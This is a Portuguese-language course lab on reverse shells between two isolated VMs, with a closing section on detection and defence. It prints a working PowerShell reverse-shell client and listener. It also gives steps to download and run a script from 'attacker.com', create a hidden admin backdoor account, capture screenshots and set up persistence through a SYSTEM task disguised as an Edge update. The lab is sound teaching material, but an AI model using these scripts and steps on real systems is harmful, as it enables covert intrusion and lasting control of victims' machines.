Lab 3.2: Reverse Shell e Controle Remoto
Objetivos de Aprendizagem
Ao final deste laboratório, você será capaz de:
- Compreender o conceito de reverse shell
- Estabelecer uma conexão reverse shell entre duas máquinas
- Executar comandos remotamente
- Transferir arquivos entre máquinas
- Identificar e bloquear reverse shells
- Entender como malwares se comunicam com seu servidor C&C
Duração Estimada
30 minutos
Pré-requisitos
- 2 VMs Windows (ou 1 Windows + 1 Kali)
- Rede interna VirtualBox configurada
- PowerShell
Contexto Profissional
Reverse shells são usados por:
- Pentesters para testar a segurança de redes
- Administradores para suporte remoto
- Malwares para controle remoto (RAT)
- APTs para manter acesso de longo prazo
⚠️ AVISO ÉTICO E LEGAL
PERMITIDO: Somente em suas VMs de teste, rede isolada
PROIBIDO: Em sistemas não autorizados, acesso não autorizado
CONSEQUÊNCIAS: Crime grave - Prisão e multas pesadas
Parte 1: Configuração do Lab
Etapa 1.1: Arquitetura
VM1: Atacante
IP: 192.168.100.10
Porta: 4444 (escuta)
VM2: Vítima
IP: 192.168.100.20
Conexão para VM1
Etapa 1.2: Configuração de Rede
Em VM1 e VM2:
Configurações → Rede → Rede interna "LabNet"
PowerShell - Configuração de IP:
# VM1
New-NetIPAddress -InterfaceAlias "Ethernet" -IPAddress 192.168.100.10 -PrefixLength 24
# VM2
New-NetIPAddress -InterfaceAlias "Ethernet" -IPAddress 192.168.100.20 -PrefixLength 24
Teste:
ping 192.168.100.20
Parte 2: Método PowerShell (Nativo)
Etapa 2.1: VM1 - Listener
Em VM1 (Atacante), salve listener.ps1:
Write-Host "=== REVERSE SHELL LISTENER ===" -ForegroundColor Cyan
Write-Host "Ecoute sur port 4444..." -ForegroundColor Yellow
$listener = New-Object System.Net.Sockets.TcpListener('0.0.0.0',4444)
$listener.Start()
$client = $listener.AcceptTcpClient()
$stream = $client.GetStream()
Write-Host "CONNECTION RECUE!" -ForegroundColor Green
Write-Host "IP: $($client.Client.RemoteEndPoint)" -ForegroundColor Yellow
Write-Host ""
[byte[]]$bytes = 0..65535|%{0}
$sendbytes = ([text.encoding]::ASCII).GetBytes("Windows PowerShell`nPS " + (pwd).Path + "> ")
$stream.Write($sendbytes,0,$sendbytes.Length)
$stream.Flush()
while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0) {
$data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0, $i)
try {
$sendback = (Invoke-Expression -Command $data 2>&1 | Out-String)
} catch {
$sendback = "Error: $_`n"
}
$sendback2 = $sendback + "PS " + (pwd).Path + "> "
$sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2)
$stream.Write($sendbyte,0,$sendbyte.Length)
$stream.Flush()
}
$client.Close()
$listener.Stop()
Write-Host "Connexion fermee" -ForegroundColor Red
Execute:
powershell -ExecutionPolicy Bypass -File listener.ps1
Aguarde conexão...
Etapa 2.2: VM2 - Cliente (Vítima)
Em VM2, salve reverse.ps1:
$client = New-Object System.Net.Sockets.TCPClient('192.168.100.10',4444)
$stream = $client.GetStream()
[byte[]]$bytes = 0..65535|%{0}
while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0) {
$data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0, $i)
try {
$sendback = (Invoke-Expression -Command $data 2>&1 | Out-String )
} catch {
$sendback = "Error: $_`n"
}
$sendback2 = $sendback
$sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2)
$stream.Write($sendbyte,0,$sendbyte.Length)
$stream.Flush()
}
$client.Close()
Execute:
powershell -WindowStyle Hidden -ExecutionPolicy Bypass -File reverse.ps1
Etapa 2.3: CONEXÃO ESTABELECIDA!
Em VM1, você verá agora:
=== REVERSE SHELL LISTENER ===
Ecoute sur port 4444...
CONNECTION RECUE!
IP: 192.168.100.20:54321
PS C:\Users\Attaquant>
Digite comandos:
whoami
hostname
Get-Process
Get-LocalUser
Get-ChildItem C:\Users
Get-NetTCPConnection
systeminfo
BOOM! Controle total da VM2 a partir da VM1!
Perguntas:
- A conexão foi estabelecida?
- Você consegue executar comandos PowerShell?
- Quanto tempo levou para estabelecer?
Parte 3: Ações Avançadas
Etapa 3.1: Transferência de Arquivos
Baixar um arquivo da vítima:
# Em VM1 (pelo shell)
Get-Content C:\Users\Victime\Desktop\secret.txt
Criar um arquivo na vítima:
"Você foi comprometido!" | Out-File C:\Users\Public\pwned.txt
Baixar e executar um script:
Invoke-WebRequest -Uri "http://attacker.com/tool.ps1" -OutFile C:\temp\tool.ps1
. C:\temp\tool.ps1
Etapa 3.2: Criar Usuário Backdoor
Pelo shell na VM2:
net user backdoor P@ssw0rd123! /add
net localgroup Administradores backdoor /add
Você acabou de criar uma conta admin permanente!
Etapa 3.3: Screenshot Remoto
Capturar a tela da vítima:
Add-Type -AssemblyName System.Windows.Forms
$screen = [System.Windows.Forms.Screen]::PrimaryScreen.Bounds
$bitmap = New-Object System.Drawing.Bitmap($screen.Width, $screen.Height)
$graphics = [System.Drawing.Graphics]::FromImage($bitmap)
$graphics.CopyFromScreen($screen.Location, [System.Drawing.Point]::Empty, $screen.Size)
$bitmap.Save("C:\Users\Public\screenshot.png")
Resultado: Screenshot salvo!
Perguntas: 4. Você conseguiu criar uma conta de usuário? 5. O screenshot funcionou?
Parte 4: Persistência
Etapa 4.1: Tarefa Agendada Automática
Em VM2, crie persistência:
$action = New-ScheduledTaskAction -Execute "powershell.exe" `
-Argument "-WindowStyle Hidden -ExecutionPolicy Bypass -File C:\Windows\Temp\reverse.ps1"
$trigger = New-ScheduledTaskTrigger -AtStartup
$principal = New-ScheduledTaskPrincipal -UserId "SYSTEM" -RunLevel Highest
Register-ScheduledTask -TaskName "MicrosoftEdgeUpdateCore" `
-Action $action -Trigger $trigger -Principal $principal
Teste:
- Reinicie a VM2
- VM1 inicia o listener
- Conexão automática!
Perguntas: 6. A persistência funciona após o reboot? 7. A tarefa é visível para um usuário comum?
Parte 5: Detecção e Defesa
Etapa 5.1: Detectar Conexões Ativas
Get-NetTCPConnection | Where-Object {$_.State -eq "Established" -and $_.RemoteAddress -ne "127.0.0.1"} |
Select-Object LocalAddress,LocalPort,RemoteAddress,RemotePort,OwningProcess,@{
Name="ProcessName"
Expression={(Get-Process -Id $_.OwningProcess).Name}
} | Format-Table
Suspeito: powershell.exe com conexão externa!
Etapa 5.2: Bloquear com Firewall
New-NetFirewallRule -DisplayName "Block PowerShell Outbound" `
-Direction Outbound `
-Program "%SystemRoot%\System32\WindowsPowerShell\v1.0\powershell.exe" `
-Action Block
Etapa 5.3: Remover Persistência
Unregister-ScheduledTask -TaskName "MicrosoftEdgeUpdateCore" -Confirm:$false
Get-Process powershell | Where-Object {$_.CommandLine -like "*reverse*"} | Stop-Process -Force
Perguntas: 8. Você detectou o reverse shell? 9. O bloqueio do firewall funcionou?
Entregáveis
-
Documento técnico (3-4 páginas):
- Respostas às 9 perguntas
- Diagrama da arquitetura de rede
- Capturas de tela do shell ativo
-
Análise de segurança (2 páginas):
- Detecção em ambiente corporativo
- Medidas de prevenção
Comandos de Referência
# Listener (VM1)
powershell -ExecutionPolicy Bypass -File listener.ps1
# Cliente (VM2)
powershell -WindowStyle Hidden -ExecutionPolicy Bypass -File reverse.ps1
# Detecção
Get-NetTCPConnection | Where State -eq "Established"
Get-Process powershell
# Bloqueio
New-NetFirewallRule -DisplayName "Block" -Direction Outbound -Program "powershell.exe" -Action Block
Conclusão
Principais lições:
- Reverse shell = Controle remoto total
- Contorna firewall facilmente
- PowerShell = Muito poderoso
- Persistência = Acesso permanente
- Detecção possível com monitoramento de rede
Mensagem: Monitoramento de tráfego de saída é essencial em ambientes corporativos!
Lab desenvolvido no âmbito do curso Sistemas Operacionais - MÓDULO 3